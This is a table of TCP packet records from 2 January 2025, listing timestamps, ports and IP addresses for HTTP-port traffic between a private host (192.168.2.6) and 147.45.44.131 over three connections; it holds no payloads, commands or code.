Jan 2, 2025 19:14:17.433121920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433128119 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433146000 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433161974 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433219910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433219910 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433226109 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433233023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433238983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433262110 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433262110 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433341980 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433373928 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433378935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433381081 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433387041 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433398962 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433406115 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433439016 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433512926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433520079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433526039 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433532000 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433546066 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433546066 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433567047 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433573961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433581114 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433617115 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433712959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433720112 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433726072 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433757067 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433757067 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.433816910 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433824062 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433830023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433835983 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433841944 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433918953 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.433931112 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434015989 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434022903 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434036016 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434041023 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434047937 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434050083 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434053898 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434061050 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434067011 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434115887 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434115887 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434154987 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434284925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434290886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434298038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434303045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434315920 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434329033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434335947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434346914 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434353113 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434359074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434364080 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434420109 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434420109 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434492111 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434511900 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434568882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434572935 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434580088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434586048 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434667110 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434667110 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.434684038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434689999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434695959 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434706926 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434715033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434720993 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.434757948 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.435009956 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.440588951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440594912 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440602064 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440715075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440727949 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440733910 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440745115 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440751076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440756083 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440762997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440773010 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440779924 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440784931 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440789938 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.440789938 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.440798044 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440803051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440809011 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.440840960 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.440840960 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.441056967 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.446343899 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446351051 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446357012 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446362019 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446368933 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446373940 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446446896 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.446446896 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.446500063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446506023 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446511984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446521997 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446527958 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446542025 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446543932 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446611881 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.446611881 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.446666002 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446671963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446677923 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446685076 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446691990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446749926 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.446749926 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.446818113 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446825027 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446830034 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446840048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446844101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.446962118 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.448282957 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448287964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448293924 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448307037 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448312044 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448324919 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448331118 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448354959 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.448431015 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448446035 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.448601007 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.448601961 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448607922 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448618889 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448668957 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.448767900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448774099 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448780060 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448786020 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448792934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448798895 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448807955 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448811054 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.448942900 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.448976040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448982954 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.448988914 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449001074 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449043989 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.449151993 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449157953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449168921 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449218988 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449224949 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449230909 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449237108 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449243069 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449244976 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.449275017 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.449400902 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449403048 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.449407101 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449415922 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449421883 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449429035 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449486017 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.449539900 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.449567080 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449573040 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449579000 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449589968 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449596882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449647903 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.449742079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449747086 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449753046 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449758053 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449764967 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449770927 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449784040 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.449840069 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.449923038 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449928045 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449934006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449945927 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.449950933 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450047970 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.450057030 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450071096 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450083971 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450088024 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450093031 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450099945 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450103998 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450110912 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.450160027 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.450201988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450207949 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450213909 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450218916 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450226068 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450228930 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.450229883 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.450263977 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.450264931 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.450360060 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.460836887 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.460844994 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461003065 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.461020947 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461186886 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461193085 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461199999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461263895 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.461263895 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.461339951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461347103 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461353064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461487055 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.461493969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461499929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461505890 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461518049 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461523056 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461528063 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461534023 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461539030 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461543083 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.461544991 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461550951 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461556911 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461575985 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.461643934 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461651087 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461658001 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461668968 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461674929 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461683035 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.461765051 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.461791039 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461796999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461803913 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461815119 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461947918 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.461975098 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461981058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461987019 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.461997032 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462143898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462145090 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.462148905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462157965 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462161064 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462167978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462172985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462178946 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462184906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462191105 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462210894 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.462317944 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462323904 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462327957 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.462471008 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462476969 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462481976 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.462573051 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.462657928 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462663889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462670088 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462676048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462759018 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.462759018 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.462852955 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462857962 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462866068 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462872028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462944984 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.462944984 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.462970972 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462979078 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462985992 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462987900 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.462995052 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463105917 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.463330984 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463337898 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463342905 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463350058 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463356018 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463362932 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463378906 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.463485003 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463491917 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463527918 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.463627100 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.463816881 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463824034 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463830948 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463843107 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.463922977 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.463974953 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464085102 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.464111090 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464123964 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464129925 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464133978 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464138985 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464144945 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464150906 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464155912 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464160919 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464164972 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.464168072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464173079 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464184999 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464190006 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464194059 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.464196920 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464200974 CET	80	49734	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464236975 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.464243889 CET	49734	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.464282990 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464288950 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464296103 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464406013 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:17.464449883 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:17.464457035 CET	80	49726	147.45.44.131	192.168.2.6
